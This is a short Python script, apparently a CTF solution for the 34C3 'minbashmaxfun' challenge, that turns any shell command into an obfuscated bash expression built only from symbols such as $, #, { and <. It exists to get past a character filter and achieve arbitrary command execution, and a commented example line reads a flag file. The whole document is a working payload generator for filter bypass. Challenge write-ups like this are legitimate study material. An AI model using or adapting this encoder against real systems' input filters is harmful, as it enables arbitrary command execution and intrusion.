Files

#!/usr/bin/env python3

# write up:
# https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60

import sys

#a = "bash -c 'expr $(grep + /tmp/out)' | /get_flag > /tmp/out; cat /tmp/out"
if len(sys.argv) == 2:
    a = sys.argv[1]
else:
  print("Usage: %s <string>" % sys.argv[0])
  print("")
  print("Check: bash -c $(py2 %s id)" % sys.argv[0])
  exit()

out = r"${!#}<<<{"

for c in "bash -c ":
    if c == ' ':
        out += ','
        continue
    out += r"\$\'\\"
    out += r"$(($((${##}<<${##}))#"
    for binchar in bin(int(oct(ord(c))[1:]))[2:]:
        if binchar == '1':
            out += r"${##}"
        else:
            out += r"$#"
    out += r"))"
    out += r"\'"

out += r"\$\'"
for c in a:
    out += r"\\"
    out += r"$(($((${##}<<${##}))#"
    for binchar in bin(int(oct(ord(c))[1:]))[2:]:
        if binchar == '1':
            out += r"${##}"
        else:
            out += r"$#"
    out += r"))"
out += r"\'"

out += "}"
print(out)
[*] - SecureInfo.eu, /Crypto/bash-voodoo-crypto.py
